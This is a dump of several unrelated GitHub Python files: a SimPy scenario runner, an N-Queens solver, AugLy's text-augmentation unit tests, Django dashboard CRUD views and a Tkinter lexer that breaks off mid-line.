ans.append(mp.get(el))\n Node.count = 1\n return ans","repo_name":"parasv24/grind","sub_path":"0506-relative-ranks/0506-relative-ranks.py","file_name":"0506-relative-ranks.py","file_ext":"py","file_size_in_byte":865,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22592776214","text":"from sim_classes.replication import Replicator\nfrom sim_classes.parameters import Scenario\n\nscenarios = {}\n\nscenarios['default'] = Scenario()\nscenarios['low_demand'] = Scenario(interarrival_time=0.07)\n\n# Set up and call replicator\nreplications = Replicator(scenarios=scenarios, replications=8)\nreplications.run_scenarios()","repo_name":"samuel-book/skeleton-pathway-model","sub_path":"simple_simpy_demo/replicates.py","file_name":"replicates.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71988004993","text":"def is_safe(board, row, col, n):\n # Kiểm tra hàng ngang bên trái\n for i in range(col):\n if board[row][i] == 1:\n return False\n \n # Kiểm tra đường chéo trên bên trái\n for i, j in zip(range(row, -1, -1), range(col, -1, -1)):\n if board[i][j] == 1:\n return False\n \n # Kiểm tra đường chéo dưới bên trái\n for i, j in zip(range(row, n, 1), range(col, -1, -1)):\n if board[i][j] == 1:\n return False\n \n return True\n\ndef solve_n_queens(n):\n board = [[0 for _ in range(n)] for _ in range(n)]\n if not solve_n_queens_util(board, 0, n):\n print(\"Không tìm thấy giải pháp.\")\n return\n print_board(board)\n\ndef solve_n_queens_util(board, col, n):\n if col >= n:\n return True\n \n for i in range(n):\n if is_safe(board, i, col, n):\n board[i][col] = 1\n if solve_n_queens_util(board, col + 1, n):\n return True\n board[i][col] = 0\n \n return False\n\ndef print_board(board):\n for row in board:\n print(\" \".join(\"Q\" if x else \".\" for x in row))\n\n# Sử dụng hàm để giải bài toán 8 Quân Hậu\nsolve_n_queens(8)\n","repo_name":"thanhcong246/AI_Lab","sub_path":"thuantoan_8_quan_hau.py","file_name":"thuantoan_8_quan_hau.py","file_ext":"py","file_size_in_byte":1214,"program_lang":"python","lang":"vi","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41360900968","text":"import random\nimport unittest\n\nfrom augly import text as txtaugs\nfrom augly.utils import FUN_FONTS_GREEK_PATH\n\n\nclass FunctionalTextUnitTest(unittest.TestCase):\n def test_import(self) -> None:\n try:\n from augly.text import functional\n except ImportError:\n self.fail(\"functional failed to import\")\n self.assertTrue(dir(functional))\n\n def setUp(self):\n random.seed(123)\n self.texts = [\n \"The quick brown 'fox' couldn't jump over the green, grassy hill.\",\n ]\n self.priority_words = [\"green\", \"grassy\", \"hill\"]\n\n self.fairness_texts = [\n \"The king and queen have a son named Raj and a daughter named Amanda.\",\n ]\n\n def test_apply_lambda(self) -> None:\n augmented_apply_lambda = txtaugs.apply_lambda(self.texts)\n self.assertTrue(augmented_apply_lambda[0] == self.texts[0])\n\n def test_change_case(self) -> None:\n augmented_words = txtaugs.change_case(self.texts[0], cadence=3.0, case=\"upper\")\n self.assertTrue(\n augmented_words[0]\n == \"THE quick brown 'FOX' couldn't jump OVER the green, GRASSY hill.\",\n )\n\n def test_contractions(self) -> None:\n augmented_words = txtaugs.contractions(\n \"I would call him but I do not know where he has gone\", aug_p=0.7\n )\n self.assertTrue(\n augmented_words[0] == \"I would call him but I don't know where he's gone\"\n )\n\n def test_get_baseline(self) -> None:\n augmented_baseline = txtaugs.get_baseline(self.texts)\n self.assertTrue(\n augmented_baseline[0]\n == \"The quick brown 'fox' couldn't jump over the green, grassy hill.\"\n )\n\n def test_insert_punctuation_chars(self) -> None:\n augmented_every_char = txtaugs.insert_punctuation_chars(\n self.texts, \"all\", 1.0, False\n )\n # Separator inserted between every character (including spaces/punctuation).\n self.assertEqual(\n augmented_every_char,\n [\n \"T.h.e. .q.u.i.c.k. .b.r.o.w.n. .'.f.o.x.'. .c.o.u.l.d.n.'.t. \"\n \".j.u.m.p. .o.v.e.r. .t.h.e. .g.r.e.e.n.,. .g.r.a.s.s.y. .h.i.l.l..\"\n ],\n )\n augmented_per_word = txtaugs.insert_punctuation_chars(\n self.texts, \"word\", 1.0, False\n )\n # Each word uses a different separator; no separators around whitespace.\n self.assertEqual(\n augmented_per_word,\n [\n \"T;h;e q?u?i?c?k b-r-o-w-n ';f;o;x;' c?o?u?l?d?n?'?t j.u.m.p o-v-e-r \"\n \"t...h...e g...r...e...e...n..., g:r:a:s:s:y h:i:l:l:.\"\n ],\n )\n augmented_wider_cadence = txtaugs.insert_punctuation_chars(\n self.texts, \"all\", 2.7, False\n )\n # Separators are every 2-3 (avg. 2.7) characters.\n self.assertEqual(\n augmented_wider_cadence,\n [\n \"The. qu.ick. b.row.n '.fo.x' .cou.ld.n't. ju.mp .ov.er .the. g.ree.n, \"\n \".gr.ass.y h.ill..\"\n ],\n )\n augmented_varying_char = txtaugs.insert_punctuation_chars(\n self.texts, \"all\", 2.0, True\n )\n # Each separator is chosen independently.\n self.assertEqual(\n augmented_varying_char,\n [\n \"Th?e ,qu,ic!k .br,ow.n :'f.ox!' ;co...ul.dn?'t' j.um...p :ov!er' \"\n \"t-he, g're?en:, ;gr'as!sy, h-il;l.\"\n ],\n )\n\n def test_insert_whitespace_chars(self) -> None:\n augmented_every_char = txtaugs.insert_whitespace_chars(\n self.texts, \"all\", 1.0, False\n )\n # Separator inserted between every character (including spaces/punctuation).\n self.assertEqual(\n augmented_every_char,\n [\n \"T h e q u i c k b r o w n ' f o x ' c o u l d n ' t \"\n \"j u m p o v e r t h e g r e e n , g r a s s y h i l l .\"\n ],\n )\n augmented_per_word = txtaugs.insert_whitespace_chars(\n self.texts, \"word\", 1.0, False\n )\n # Each word uses a different separator; no separators around whitespace.\n self.assertEqual(\n augmented_per_word,\n [\n \"T\\nh\\ne q u i c k b\\rr\\ro\\rw\\rn '\\nf\\no\\nx\\n' c o u l d n ' t \"\n \"j u m p o\\rv\\re\\rr t\\x0bh\\x0be g\\x0br\\x0be\\x0be\\x0bn\\x0b, \"\n \"g\\nr\\na\\ns\\ns\\ny h\\ni\\nl\\nl\\n.\"\n ],\n )\n augmented_wider_cadence = txtaugs.insert_whitespace_chars(\n self.texts, \"all\", 2.7, False\n )\n # Separators are every 2-3 (avg. 2.7) characters.\n self.assertEqual(\n augmented_wider_cadence,\n [\n \"The qu ick b row n ' fo x' cou ld n't ju mp ov er the \"\n \"g ree n, gr ass y h ill .\"\n ],\n )\n augmented_varying_char = txtaugs.insert_whitespace_chars(\n self.texts, \"all\", 2.0, True\n )\n # Each separator is chosen independently.\n self.assertEqual(\n augmented_varying_char,\n [\n \"Th e \\nqu\\nic\\tk br\\now n \\r'f ox\\t' \\nco\\x0cul dn 't\\x0b \"\n \"j um\\x0cp \\rov\\ter\\x0c t\\x0bhe\\n g\\x0bre\\ten\\r, \"\n \"\\rgr\\x0bas\\tsy\\n h\\x0bil\\rl.\"\n ],\n )\n\n def test_insert_text(self) -> None:\n # Single insertion in random location\n insert_single_word = txtaugs.insert_text(self.texts, [\"wolf\", \"sheep\"], seed=42)\n self.assertEqual(\n insert_single_word,\n [\"wolf The quick brown 'fox' couldn't jump over the green, grassy hill.\"],\n )\n\n # Three insertions in random locations\n insert_multiple = txtaugs.insert_text(\n self.texts, [\"wolf\", \"sheep\"], num_insertions=3\n )\n self.assertEqual(\n insert_multiple,\n [\n \"The quick brown wolf 'fox' couldn't jump wolf over the sheep green, grassy hill.\"\n ],\n )\n\n # Single insertion in prepend mode\n prepend = txtaugs.insert_text(\n self.texts, [\"wolf\", \"sheep\"], insertion_location=\"prepend\"\n )\n self.assertEqual(\n prepend,\n [\"wolf The quick brown 'fox' couldn't jump over the green, grassy hill.\"],\n )\n\n append = txtaugs.insert_text(\n self.texts, [\"wolf\", \"sheep\"], insertion_location=\"append\"\n )\n # Single insertion in append mode\n self.assertEqual(\n append,\n [\"The quick brown 'fox' couldn't jump over the green, grassy hill. wolf\"],\n )\n\n def test_insert_zero_width_chars(self) -> None:\n augmented_every_char = txtaugs.insert_zero_width_chars(\n self.texts, \"all\", 1.0, False\n )\n # Separator inserted between every character (including spaces/punctuation).\n # Renders as: \"T‌h‌e‌ ‌q‌u‌i‌c‌k‌ ‌b‌r‌o‌w‌n‌ ‌'‌f‌o‌x‌'‌ ‌c‌o‌u‌l‌d‌n‌'‌t‌ ‌j‌u‌m‌p‌ ‌o‌v‌e‌r‌ ‌t‌h‌e‌ ‌g‌r‌e‌e‌n‌,‌ ‌g‌r‌a‌s‌s‌y‌ ‌h‌i‌l‌l‌.\"\n self.assertEqual(\n augmented_every_char,\n [\n \"T\\u200bh\\u200be\\u200b \\u200bq\\u200bu\\u200bi\\u200bc\\u200bk\\u200b \"\n \"\\u200bb\\u200br\\u200bo\\u200bw\\u200bn\\u200b \\u200b'\\u200bf\\u200bo\"\n \"\\u200bx\\u200b'\\u200b \\u200bc\\u200bo\\u200bu\\u200bl\\u200bd\\u200bn\"\n \"\\u200b'\\u200bt\\u200b \\u200bj\\u200bu\\u200bm\\u200bp\\u200b \\u200bo\"\n \"\\u200bv\\u200be\\u200br\\u200b \\u200bt\\u200bh\\u200be\\u200b \\u200bg\"\n \"\\u200br\\u200be\\u200be\\u200bn\\u200b,\\u200b \\u200bg\\u200br\\u200ba\"\n \"\\u200bs\\u200bs\\u200by\\u200b \\u200bh\\u200bi\\u200bl\\u200bl\\u200b.\"\n ],\n )\n augmented_per_word = txtaugs.insert_zero_width_chars(\n self.texts, \"word\", 1.0, False\n )\n # Each word uses a different separator; no separators around whitespace.\n # Renders as: \"T⁡h⁡e q‌u‌i‌c‌k b⁣r⁣o⁣w⁣n '⁡f⁡o⁡x⁡' c‌o‌u‌l‌d‌n‌'‌t j​u​m​p o⁣v⁣e⁣r t⁢h⁢e g⁢r⁢e⁢e⁢n⁢, g​r​a​s​s​y h‍i‍l‍l‍.\"\n self.assertEqual(\n augmented_per_word,\n [\n \"T\\u2061h\\u2061e q\\u200cu\\u200ci\\u200cc\\u200ck b\\u2063r\\u2063o\"\n \"\\u2063w\\u2063n '\\u2061f\\u2061o\\u2061x\\u2061' c\\u200co\\u200cu\"\n \"\\u200cl\\u200cd\\u200cn\\u200c'\\u200ct j\\u200bu\\u200bm\\u200bp o\"\n \"\\u2063v\\u2063e\\u2063r t\\u2062h\\u2062e g\\u2062r\\u2062e\\u2062e\"\n \"\\u2062n\\u2062, g\\u200br\\u200ba\\u200bs\\u200bs\\u200by h\\u200di\"\n \"\\u200dl\\u200dl\\u200d.\"\n ],\n )\n augmented_wider_cadence = txtaugs.insert_zero_width_chars(\n self.texts, \"all\", 2.7, False\n )\n # Separators are every 2-3 (avg. 2.7) characters.\n # Renders as: \"The‍ qu‍ick‍ b‍row‍n '‍fo‍x' ‍cou‍ld‍n't‍ ju‍mp ‍ov‍er ‍the‍ g‍ree‍n, ‍gr‍ass‍y h‍ill‍.\"\n self.assertEqual(\n augmented_wider_cadence,\n [\n \"The\\u200d qu\\u200dick\\u200d b\\u200drow\\u200dn '\\u200dfo\\u200dx\"\n \"' \\u200dcou\\u200dld\\u200dn't\\u200d ju\\u200dmp \\u200dov\\u200der\"\n \" \\u200dthe\\u200d g\\u200dree\\u200dn, \\u200dgr\\u200dass\\u200dy h\"\n \"\\u200dill\\u200d.\"\n ],\n )\n augmented_varying_char = txtaugs.insert_zero_width_chars(\n self.texts, \"all\", 2.0, True\n )\n # Each separator is chosen independently.\n # Renders as: \"Th‍e ‍qu‌ic​k ⁠br​ow⁡n ​'f‍ox⁠' ⁤co​ul‌dn⁣'t​ j⁤um⁡p ‍ov⁣er⁣ t‍he⁣ g‌re⁡en⁡, ⁣gr‍as⁠sy⁣ h⁡il⁢l.\"\n self.assertEqual(\n augmented_varying_char,\n [\n \"Th\\u200de \\u200dqu\\u200cic\\u200bk \\u2060br\\u200bow\\u2061n \\u200b\"\n \"'f\\u200dox\\u2060' \\u2064co\\u200bul\\u200cdn\\u2063't\\u200b j\\u2064u\"\n \"m\\u2061p \\u200dov\\u2063er\\u2063 t\\u200dhe\\u2063 g\\u200cre\\u2061e\"\n \"n\\u2061, \\u2063gr\\u200das\\u2060sy\\u2063 h\\u2061il\\u2062l.\"\n ],\n )\n\n def test_merge_words(self) -> None:\n augmented_split_words = txtaugs.merge_words(self.texts, aug_word_p=0.3, n=1)\n self.assertTrue(\n augmented_split_words[0]\n == \"Thequick brown 'fox' couldn'tjump overthe green, grassy hill.\"\n )\n augmented_split_words_targetted = txtaugs.merge_words(\n self.texts, aug_word_p=0.3, n=1, priority_words=self.priority_words\n )\n self.assertTrue(\n augmented_split_words_targetted[0]\n == \"The quick brown 'fox' couldn'tjump over the green, grassyhill.\"\n )\n\n def test_replace_bidirectional(self) -> None:\n augmented_bidirectional = txtaugs.replace_bidirectional(self.texts)\n # Renders as: \"‮.llih yssarg ,neerg eht revo pmuj t'ndluoc 'xof' nworb kciuq ehT‬\"\n self.assertEqual(\n augmented_bidirectional,\n [\n \"\\u202e.llih yssarg ,neerg eht revo pmuj t'ndluoc 'xof' nworb kciuq ehT\\u202c\"\n ],\n )\n augmented_bidirectional_word = txtaugs.replace_bidirectional(\n self.texts, granularity=\"word\"\n )\n # Renders as: \"‭‮ehT‬ ‮kciuq‬ ‮nworb‬ ‮'xof'‬ ‮t'ndluoc‬ ‮pmuj‬ ‮revo‬ ‮eht‬ ‮,neerg‬ ‮yssarg‬ ‮.llih‬\"\n self.assertEqual(\n augmented_bidirectional_word,\n [\n \"\\u202d\\u202eehT\\u202c \\u202ekciuq\\u202c \\u202enworb\\u202c \\u202e'\"\n \"xof'\\u202c \\u202et'ndluoc\\u202c \\u202epmuj\\u202c \\u202erevo\\u202c\"\n \" \\u202eeht\\u202c \\u202e,neerg\\u202c \\u202eyssarg\\u202c \\u202e.lli\"\n \"h\\u202c\"\n ],\n )\n augmented_bidirectional_split = txtaugs.replace_bidirectional(\n self.texts, granularity=\"word\", split_word=True\n )\n # Renders as: \"‭T‮eh‬ qu‮kci‬ br‮nwo‬ 'f‮'xo‬ coul‮t'nd‬ ju‮pm‬ ov‮re‬ t‮eh‬ gre‮,ne‬ gra‮yss‬ hi‮.ll‬\"\n self.assertEqual(\n augmented_bidirectional_split,\n [\n \"\\u202dT\\u202eeh\\u202c qu\\u202ekci\\u202c br\\u202enwo\\u202c 'f\\u202e\"\n \"'xo\\u202c coul\\u202et'nd\\u202c ju\\u202epm\\u202c ov\\u202ere\\u202c\"\n \" t\\u202eeh\\u202c gre\\u202e,ne\\u202c gra\\u202eyss\\u202c hi\\u202e\"\n \".ll\\u202c\"\n ],\n )\n\n def test_replace_fun_fonts(self) -> None:\n augmented_fun_fonts_word = txtaugs.replace_fun_fonts(\n self.texts, granularity=\"word\", aug_p=0.3, vary_fonts=False, n=1\n )\n self.assertTrue(\n augmented_fun_fonts_word[0]\n == \"The 𝙦𝙪𝙞𝙘𝙠 brown '𝙛𝙤𝙭' 𝙘𝙤𝙪𝙡𝙙𝙣'𝙩 jump over the green, 𝙜𝙧𝙖𝙨𝙨𝙮 hill.\"\n )\n augmented_fun_fonts_char = txtaugs.replace_fun_fonts(\n self.texts, granularity=\"char\", aug_p=0.3, vary_fonts=True, n=1\n )\n self.assertTrue(\n augmented_fun_fonts_char[0]\n == \"T̷he̳ 𝒒uiᴄk 𝙗r𝓸wn 'fo̲x' coul͎dn't jump over t̶h̷e green, 𝑔ra͎ss̳𝒚 ʜill.\"\n )\n augmented_fun_fonts_all = txtaugs.replace_fun_fonts(\n self.texts, granularity=\"all\", aug_p=1.0, vary_fonts=False, n=1\n )\n self.assertTrue(\n augmented_fun_fonts_all[0]\n == \"𝕋𝕙𝕖 𝕢𝕦𝕚𝕔𝕜 𝕓𝕣𝕠𝕨𝕟 '𝕗𝕠𝕩' 𝕔𝕠𝕦𝕝𝕕𝕟'𝕥 𝕛𝕦𝕞𝕡 𝕠𝕧𝕖𝕣 𝕥𝕙𝕖 𝕘𝕣𝕖𝕖𝕟, 𝕘𝕣𝕒𝕤𝕤𝕪 𝕙𝕚𝕝𝕝.\"\n )\n augmented_fun_fonts_word_targetted = txtaugs.replace_fun_fonts(\n self.texts,\n granularity=\"word\",\n aug_p=0.3,\n vary_fonts=True,\n n=1,\n priority_words=self.priority_words,\n )\n self.assertTrue(\n augmented_fun_fonts_word_targetted[0]\n == \"T͓̽h͓̽e͓̽ quick brown 'fox' couldn't jump over the 𝘨𝘳𝘦𝘦𝘯, g̳r̳a̳s̳s̳y̳ h̴i̴l̴l̴.\"\n )\n augmented_fun_fonts_greek = txtaugs.replace_fun_fonts(\n [\n \"Η γρήγορη καφέ αλεπού δεν μπορούσε να πηδήξει πάνω από τον καταπράσινο λόφο.\"\n ],\n granularity=\"word\",\n aug_p=0.3,\n vary_fonts=True,\n fonts_path=FUN_FONTS_GREEK_PATH,\n n=1.0,\n )\n self.assertTrue(\n augmented_fun_fonts_greek[0]\n == \"𝝜 γρήγορη καφέ αλεπού 𝛿𝜀𝜈 μπορούσε να πηδήξει πάνω από 𝞽𝞸𝞶 𝝹𝝰𝞃𝝰𝝿𝞀ά𝞂𝝸𝝼𝝾 λόφο.\"\n )\n\n def test_replace_similar_chars(self) -> None:\n augmented_chars = txtaugs.replace_similar_chars(\n self.texts[0], aug_word_p=0.3, aug_char_p=0.3, n=2\n )\n self.assertEqual(\n augmented_chars,\n [\n \"T/-/e quick brown 'fox' coul|)n't jump over the green, grassy hill.\",\n \"T)-(e quick br0wn 'fox' couldn't jump over the green, g12assy hill.\",\n ],\n )\n augmented_chars_targetted = txtaugs.replace_similar_chars(\n self.texts[0],\n aug_word_p=0.3,\n aug_char_p=0.3,\n n=2,\n priority_words=self.priority_words,\n )\n self.assertEqual(\n augmented_chars_targetted,\n [\n \"The quic|{ brown 'fox' couldn't jump Dver the green, gr4ssy hill.\",\n \"7he quick brown 'fox' couldn't jump over the green, gr4ssy hill.\",\n ],\n )\n\n def test_replace_similar_unicode_chars(self) -> None:\n augmented_unicode_chars = txtaugs.replace_similar_unicode_chars(\n self.texts[0], aug_word_p=0.3, aug_char_p=0.3, n=2\n )\n self.assertEqual(\n augmented_unicode_chars,\n [\n \"TĦe ℚuick brown 'fox' coul₫n't jump over the green, grassy hill.\",\n \"Ŧhe quick browŅ 'fox' couldn't jÙmp over the green, grassy hill.\",\n ],\n )\n augmented_unicode_chars_targetted = txtaugs.replace_similar_unicode_chars(\n self.texts[0],\n aug_word_p=0.3,\n aug_char_p=0.3,\n n=2,\n priority_words=self.priority_words,\n )\n self.assertEqual(\n augmented_unicode_chars_targetted,\n [\n \"⍡he quick brown 'fox' couldn't jump oveℛ the green, ġrassy hill.\",\n \"The quick brown 'fox' couldn't jump over thė green, gℝassy hill.\",\n ],\n )\n\n def test_replace_text(self) -> None:\n texts = [\n \"The quick brown 'fox' couldn't jump over the green, grassy hill.\",\n \"The quick brown\",\n \"jump over the green\",\n ]\n replace_texts = {\n \"jump over the blue\": \"jump over the red\",\n \"The quick brown\": \"The slow green\",\n \"couldn't jump\": \"jumped\",\n }\n\n replace_string = \"The slow green\"\n\n augmented_text_from_list = txtaugs.replace_text(texts, replace_texts)\n self.assertEqual(\n augmented_text_from_list,\n [texts[0], replace_texts[texts[1]], texts[2]],\n )\n\n augmented_text_from_string = txtaugs.replace_text(texts, replace_string)\n self.assertEqual(\n augmented_text_from_string,\n [replace_string, replace_string, replace_string],\n )\n\n augmented_string_from_list = txtaugs.replace_text(texts[0], replace_texts)\n self.assertTrue(augmented_string_from_list == texts[0])\n\n augmented_string_from_list = txtaugs.replace_text(texts[1], replace_texts)\n self.assertTrue(augmented_string_from_list == replace_texts[texts[1]])\n\n augmented_string_from_string = txtaugs.replace_text(texts[2], replace_string)\n self.assertTrue(augmented_string_from_string == replace_string)\n\n def test_replace_upside_down(self) -> None:\n augmented_upside_down_all = txtaugs.replace_upside_down(self.texts)\n self.assertTrue(\n augmented_upside_down_all[0]\n == \"˙llᴉɥ ʎssɐɹɓ 'uǝǝɹɓ ǝɥʇ ɹǝʌo dɯnɾ ʇ,uplnoɔ ,xoɟ, uʍoɹq ʞɔᴉnb ǝɥꞱ\"\n )\n augmented_upside_down_words = txtaugs.replace_upside_down(\n self.texts, granularity=\"word\", aug_p=0.3\n )\n self.assertTrue(\n augmented_upside_down_words[0]\n == \"ǝɥꞱ ʞɔᴉnb brown 'xoɟ' ʇ,uplnoɔ jump over the green, grassy hill.\"\n )\n augmented_upside_down_chars = txtaugs.replace_upside_down(\n self.texts[0], granularity=\"char\", aug_p=0.3, n=2\n )\n self.assertEqual(\n augmented_upside_down_chars,\n [\n \"Thǝ buiɔk qrown 'fox, couldn,t jump over ʇɥe green' gɹassʎ hill.\",\n \"Ʇɥǝ qnᴉɔk qɹown 'fox' conldn,t jnɯp over the gɹeen, grassy ɥᴉll ˙\",\n ],\n )\n\n def test_replace_words(self) -> None:\n augmented_words = txtaugs.replace_words(self.texts, aug_word_p=0.3)\n self.assertTrue(augmented_words[0] == self.texts[0])\n\n augmented_words = txtaugs.replace_words(\n self.texts,\n mapping={\"jump\": \"hop\", \"brown\": \"orange\", \"green\": \"blue\", \"the\": \"a\"},\n aug_word_p=1.0,\n )\n self.assertTrue(\n augmented_words[0]\n == \"A quick orange 'fox' couldn't hop over a blue, grassy hill.\",\n )\n\n augmented_words = txtaugs.replace_words(\n self.texts,\n mapping={\"jump\": \"hop\", \"brown\": \"orange\", \"green\": \"blue\", \"the\": \"a\"},\n aug_word_p=1.0,\n ignore_words=[\"green\", \"jump\"],\n )\n self.assertTrue(\n augmented_words[0]\n == \"A quick orange 'fox' couldn't jump over a green, grassy hill.\",\n )\n\n def test_simulate_typos(self) -> None:\n augmented_typos = txtaugs.simulate_typos(\n self.texts[0], aug_word_p=0.3, aug_char_p=0.3, n=2, typo_type=\"misspelling\"\n )\n self.assertEqual(\n augmented_typos,\n [\n \"Ther quick brown 'fox' couldn' t jump over the green, grassy hill.\",\n \"Teh quick brown 'fox' couldn' t jump over tghe green, grassy hill.\",\n ],\n )\n\n augmented_typos_targetted = txtaugs.simulate_typos(\n self.texts[0],\n aug_word_p=0.3,\n n=2,\n priority_words=self.priority_words,\n typo_type=\"charmix\",\n )\n self.assertEqual(\n augmented_typos_targetted,\n [\n \"The quick buown 'fox' couldn' t jump over he rgeen, rgassy lhill.\",\n \"The quick brown 'fox' couldn' t nump o^er the gre$n, grasys ill.\",\n ],\n )\n\n def test_split_words(self) -> None:\n augmented_split_words = txtaugs.split_words(self.texts[0], aug_word_p=0.3, n=2)\n self.assertEqual(\n augmented_split_words,\n [\n \"The qui ck brown 'fox' c ouldn't j ump over the green, grassy hi ll.\",\n \"The qu ick bro wn 'fox' could n't jump over the gre en, grassy hill.\",\n ],\n )\n augmented_split_words_targetted = txtaugs.split_words(\n self.texts[0], aug_word_p=0.3, n=2, priority_words=self.priority_words\n )\n self.assertEqual(\n augmented_split_words_targetted,\n [\n \"The quick br own 'fox' couldn't jump over the g reen, gras sy h ill.\",\n \"The quick brown 'fox' couldn't jump ov er the g reen, g rassy hi ll.\",\n ],\n )\n\n def test_swap_gendered_words(self) -> None:\n augmented_gender_swap_words = txtaugs.swap_gendered_words(\n self.fairness_texts[0], aug_word_p=0.3\n )\n self.assertTrue(\n augmented_gender_swap_words\n == \"The queen and king have a daughter named Raj and a son named Amanda.\",\n )\n\n ignore_augmented_gender_swap_words = txtaugs.swap_gendered_words(\n self.fairness_texts[0], aug_word_p=0.3, ignore_words=[\"son\"]\n )\n self.assertTrue(\n ignore_augmented_gender_swap_words\n == \"The queen and king have a son named Raj and a son named Amanda.\",\n )\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"facebookresearch/AugLy","sub_path":"augly/tests/text_tests/functional_unit_test.py","file_name":"functional_unit_test.py","file_ext":"py","file_size_in_byte":22825,"program_lang":"python","lang":"en","doc_type":"code","stars":4836,"dataset":"github-code","pt":"61"} +{"seq_id":"14670866098","text":"from django.shortcuts import render\nfrom django.views.generic import TemplateView,ListView,CreateView,UpdateView,DeleteView,DetailView\nfrom django.urls import reverse_lazy\n\n# Create your views here.\nfrom . models import *\nfrom . forms import *\n\nclass DashboardHomeView(TemplateView):\n template_name= \"dashboard/index.html\"\n\n#Company view\nclass CompanyListView(ListView):\n template_name = 'dashboard/companies/list.html'\n model = Company\n\n\nclass CompanyCreateView(CreateView):\n template_name = 'dashboard/companies/form.html'\n form_class = CompanyForm\n success_url = reverse_lazy('dashboard:companies-list')\n\n\nclass CompanyUpdateView(UpdateView):\n template_name = 'dashboard/companies/form.html'\n form_class = CompanyForm\n model = Company\n success_url = reverse_lazy('dashboard:companies-list')\n\n\nclass CompanyDeleteView(DeleteView):\n model = Company\n success_url = reverse_lazy('dashboard:companies-list')\n\n\nclass CompanyDetailView(DetailView):\n template_name = 'dashboard/companies/form.html'\n model = Company\n\n#Product View\nclass ProductListView(ListView):\n template_name = 'dashboard/products/list.html'\n model = Product\n\n\nclass ProductCreateView(CreateView):\n template_name = 'dashboard/products/form.html'\n form_class = ProductForm\n success_url = reverse_lazy('dashboard:products-list')\n\nclass ProductUpdateView(UpdateView):\n template_name = 'dashboard/products/form.html'\n form_class = ProductForm\n model = Product\n success_url = reverse_lazy('dashboard:products-list')\n\nclass ProductDeleteView(DeleteView):\n model = Product\n success_url = reverse_lazy('dashboard:products-list')\n\nclass ProductDetailView(DetailView):\n template_name = 'dashboard/products/form.html'\n model = Product\n\n#order view\nclass OrderListView(ListView):\n template_name = 'dashboard/orders/list.html'\n model = Order\n\n\nclass OrderCreateView(CreateView):\n template_name = 'dashboard/orders/form.html'\n form_class = OrderForm\n success_url = reverse_lazy('dashboard:orders-list')\n\nclass OrderUpdateView(UpdateView):\n template_name = 'dashboard/orders/form.html'\n form_class = OrderForm\n model = Order\n success_url = reverse_lazy('dashboard:orders-list')\n\nclass OrderDeleteView(DeleteView):\n model = Order\n success_url = reverse_lazy('dashboard:orders-list')\n\nclass OrderDetailView(DetailView):\n template_name = 'dashboard/orders/form.html'\n model = Order","repo_name":"uttammagaju/dms","sub_path":"dashboard/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31067642865","text":"from typing import NamedTuple\nimport re\nfrom tkinter import *\nfrom tkinter import ttk\n\nraiz = Tk()\nraiz.title(\"Gabriel Hashtable\")\n\nNum_tokens_validos = 0\nNum_tokens_invalidos = 0\n\ndef Nvalidos():\n global Num_tokens_validos\n Num_tokens_validos = Num_tokens_validos + 1\n\n\ndef NinValidos():\n global Num_tokens_invalidos\n Num_tokens_invalidos = Num_tokens_invalidos + 1\n\nhashtable = { 'ID': { 'IDENT_TOKEN': 27, 'LEXEMA': 'LETRA_MAS_NUMERO', 'CANTIDAD': 0},\n 'CONSTANTE': {'IDENT_TOKEN': 28, 'LEXEMA': 'N_L_CONS', 'CANTIDAD': 0},\n 'IF': {'IDENT_TOKEN': 59, 'LEXEMA': 'IF', 'CANTIDAD': 0},\n 'THEN': {'IDENT_TOKEN': 60, 'LEXEMA': 'THEN', 'CANTIDAD': 0},\n 'ELSE': {'IDENT_TOKEN': 61, 'LEXEMA': 'ELSE', 'CANTIDAD': 0},\n 'SUMA': {'IDENT_TOKEN': 70, 'LEXEMA': '+', 'CANTIDAD': 0},\n 'DIV': {'IDENT_TOKEN': 73, 'LEXEMA': '/', 'CANTIDAD': 0},\n 'MAYORQ': {'IDENT_TOKEN': 80, 'LEXEMA': '>=', 'CANTIDAD': 0},\n 'ASIGNACION': {'IDENT_TOKEN': 85, 'LEXEMA': ':=', 'CANTIDAD': 0},\n }\n\nclass Token(NamedTuple):\n type: str\n value: str\n\ndef tokenize(code):\n keywords = {'IF', 'THEN', 'ELSE'}\n token_specification = [\n ('CONSTANTE', r'CONS [A-Za-z0-9]+'),\n ('ID', r'[A-Za-z]+[A-Za-z0-9]*'),\n ('SUMA', r'[+]'),\n ('DIV', r'/'),\n ('MAYORQ', r'>='),\n ('ASIGNACION', r':='),\n ('SKIP', r'[ \\t]+'),\n ('INVALIDO', r'.'),\n ]\n tok_regex = '|'.join('(?P<%s>%s)' % pair for pair in token_specification)\n\n for mo in re.finditer(tok_regex, code):\n kind = mo.lastgroup\n value = mo.group()\n \n if kind == 'NUMBER':\n value = float(value) if '.' in value else int(value)\n elif kind == 'ID' and value in keywords:\n kind = value\n elif kind == 'SKIP':\n continue\n if kind == 'INVALIDO':\n NinValidos()\n else:\n Nvalidos()\n hashtable[kind]['CANTIDAD'] = hashtable[kind]['CANTIDAD'] + 1\n yield Token(kind, value)\n\nf = open(\"archivo.txt\")\ninfo = f.read()\n\nstatements = info\n\ntoken = []\ntoken.extend(tokenize(statements))\n\n#hash table\nhashT = Label(raiz, text=\"HASHTABLE\", padx=20, pady=5, font=\"Verdana 11\")\nhashT.pack()\n\ntabla = ttk.Treeview(raiz, columns=(0,1,2,3), show='headings', height=8)\ntabla.pack()\n\nfor i in range(0,4):\n tabla.column(i, anchor=CENTER, width=130)\n\ncolumnas = ['TOKEN','IDENT_TOKEN', 'LEXEMA','CANTIDAD']\n\nindex = 0\nfor i in columnas:\n tabla.heading(index, text=i)\n index = index + 1\n\nindex = 0\nfor i in hashtable:\n tabla.insert(parent='', index=index, iid=index, text='', values=(\n i,\n hashtable[i]['IDENT_TOKEN'],\n hashtable[i]['LEXEMA'],\n hashtable[i]['CANTIDAD']))\n index = index + 1\n\n#tabla de tokens validos\n\nTvalidos = Label(raiz, text=\"TOKENS VALIDOS\", padx=20, pady=5, font=\"Verdana 11\")\nTvalidos.pack()\n\ntablatokens = ttk.Treeview(raiz, 